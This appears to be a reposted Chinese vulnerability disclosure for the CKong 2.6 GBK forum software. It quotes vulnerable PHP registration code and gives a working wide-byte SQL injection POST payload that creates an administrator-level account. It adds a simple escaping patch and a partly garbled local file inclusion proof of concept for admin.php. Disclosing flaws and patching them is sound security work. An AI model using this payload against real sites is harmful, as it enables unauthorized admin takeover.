By:seraph
问题出现在profile.php文件里面,过滤了$reguser,$regemail,后面的$reghomepage,$regarea,$regcomm,$regsex都可以用宽字节注入,直接得到一个管理员权限的用户。
代码如下:
以下是引用片段:
if($action=='reg' && $reguser) {
if($Global['hashto']['reg'] && (!$hashnum || $hashnum$_SESSION[$Global['privprefix'].'imghash'])) $C_errormsg.='
验证码错误
';
if (!preg_match("/^([x81-xfea-z0-9]){3,12}$/i",$reguser)) $C_errormsg.='
用户名请用3-12字节的中文字母或数字
';
if(!eregi("^[_.0-9a-z-]+@([0-9a-z][0-9a-z-]+.)+[a-z]{2,3}$",$regemail)) $C_errormsg.='
Email填写错误
';
$sql='select user_id from '.__TAB_USER__." where ".$Global['mysql_userow']."='".$reguser."'";
$result=$db->query($sql);
if($rows=$db->fetch_row($result)) $C_errormsg.='
用户名已存在
';
$sql='select ban_id from '.__TAB_BANLIST__." where ban_name='".$reguser."'";
$result=$db->query($sql);
if($rows=$db->fetch_row($result)) $C_errormsg.='
此用户名已被禁止
';
$db->free_result($result);
if(!$C_errormsg) {
$sql='insert into '.__TAB_USER__." set ".$Global['mysql_userow']."='$reguser',".$Global['mysql_pwdrow']."='".md5($regpwd)."', user_email='$regemail',user_qq='".intval($regqq)."',user_regdate='".$Global['F_time']."', user_homepage='$reghomepage',user_area='$regarea',user_comm='$regcomm',user_sex='$regsex', user_publicemail='".intval($publicmail)."',group_id=2";
die("rn".$sql);
if(!($result=$db->query($sql))) back('注册数据插入失败');
|
自行抓包直接POST提交到:
http://localhost/phptest/Ckong2/CKong2.6/profile.php
reguser=seraph3®pwd=seraph®pwd2=seraph&[email protected]&publicmail=1®sex=1%d5',user_publicemail%3d1,group_id%3D7#®qq=343434®homepage=1212121®area=121212®comm=%CE%D2%CA%B2%C3%B4%D2%B2%B2%BB
修补方法:
$reghomepage=str_replace("'","‘",$reghomepage);
$regarea=str_replace("'","‘",$regarea);
$regcomm=str_replace("'","‘",$regcomm);
$regsex=str_replace("'","‘",$regsex);
还来还是不能太相信GPC了,自己手动过滤过滤比较靠得住一点。
----------------------------- JJ的分割线 -----------------------------
这套程序还有一个本地包含漏洞。
在本地全登录后,admin.php 里面代码:
以下是引用片段:
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i
{
$str=$str.".";
$pfile="create.txt";
if(include_once ($pfile.$str.'.php')) echo $i;
}
?>
|
关于这个问题,希望大家一起来讨论讨论。
这套程序只是一个小程序,可能用的人不多,全当技术练习。
文章来源于lcx.cc:心空论坛(CKong)2.6 GBK 版注入漏洞 & 本地包含漏洞
评论